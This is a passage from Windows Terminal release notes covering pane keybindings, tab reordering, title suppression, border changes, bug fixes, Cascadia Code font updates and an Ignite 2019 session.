{ "command": { "action": "moveFocus", "direction":"down" }, "keys": [ "alt+down" ] },
{ "command": { "action": "moveFocus", "direction":"left" }, "keys": [ "alt+left" ] },
{ "command": { "action": "moveFocus", "direction":"right" }, "keys": [ "alt+right" ] },
{ "command": { "action": "moveFocus", "direction":"up" }, "keys": [ "alt+up" ] },
{ "command": { "action": "resizePane", "direction":"down" }, "keys": [ "alt+shift+down" ] },
{ "command": { "action": "resizePane", "direction":"left" }, "keys": [ "alt+shift+left" ] },
{ "command": { "action": "resizePane", "direction":"right" }, "keys": [ "alt+shift+right" ] },
{ "command": { "action": "resizePane", "direction":"up" }, "keys": [ "alt+shift+up" ] },
```
### Tab Reordering
You can now reorder your tabs! A huge thank you goes out to James Clarke ([@Clarkezone](https://twitter.com/Clarkezone)) for completing this pull request while at Microsoft Ignite! [Here’s the video of him demoing it on the show floor.](https://twitter.com/Clarkezone/status/1192524919835283456)
Note: You are currently not able to reorder tabs when running the Terminal as administrator (it will crash if you try). Additionally, the UI of the tab will occasionally disappear when reordering. This issue is already being tracked [on GitHub](https://github.com/microsoft/terminal/issues/3661).
[](http://devblogs.microsoft.com/commandline/wp-content/uploads/sites/33/2019/11/terminal-tab-reordering.gif)
### Suppress Application Title
You can now suppress all title change events that are sent from the application running within your Terminal. This means, you can have either the `"name"` or `"tabTitle"` of your profile appear in your tab without it updating! This implementation mimics the original `"tabTitle"` functionality released in v0.3. By setting `"suppressApplicationTitle"` to `true`, if you have `"tabTitle"` set, `"tabTitle"` will appear in your tab. Otherwise, the profile’s `"name"` will appear in your tab.
```
"tabTitle": "Ubuntu",
"suppressApplicationTitle": true
```
[](http://devblogs.microsoft.com/commandline/wp-content/uploads/sites/33/2019/11/terminal-suppress-application-title.png)
### UI Improvements
There is no longer a thick border around the Terminal! The border is much thinner and will display your accent color when you have it set to do so in the [Color page of your Windows settings](https://support.microsoft.com/en-us/help/17144/windows-10-change-desktop-background).
Note: If you don’t have this setting enabled, the border will be white.
[](http://devblogs.microsoft.com/commandline/wp-content/uploads/sites/33/2019/11/windows-color-settings.png)
[](http://devblogs.microsoft.com/commandline/wp-content/uploads/sites/33/2019/11/terminal-thin-border.png)
### Bug Fixes
Here are some of the major bug fixes included in this release:
*Line endings when pasting behave properly!*
Alt+Arrow-Keys no longer print extra characters!
When you’re scrolled up, pasting now scrolls down to the prompt when using `"snapOnInput"`!
Quickly opening and closing tabs will crash *less*!
Cascadia Code Updates
---------------------
Cascadia Code has received a major update! Here’s what’s new:
* Greek, Cyrillic, and Vietnamese are now supported!
* We have a powerline (Cascadia Code PL) version!
* There is also a version that ships without coding ligatures (Cascadia Mono)!
To get all of the latest goodness from Cascadia Code, feel free to download whichever font files you like from the [GitHub repo](https://github.com/microsoft/cascadia-code/releases)!
Note: The Windows Terminal ships with the base version, which only includes coding ligatures.
Community News
--------------
### Microsoft Ignite 2019
This year, members of the Windows Terminal team went to [Microsoft Ignite](https://www.microsoft.com/en-us/ignite) in Orlando, Florida from November 4 – 8. At the conference, Kayla Cinnamon and Carlos Zamora held a 45-minute session discussing what’s new with the Terminal, demoing its customization model and functionality, and chatting about what’s coming next. You can watch the recording of the session here: <https://myignite.techcommunity.microsoft.com/sessions/81329?source=sessions>
[](http://devblogs.microsoft.com/commandline/wp-content/uploads/sites/33/2019/11/terminal-ignite-session.jpg) | https://habr.com/ru/post/478166/ | null | en | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.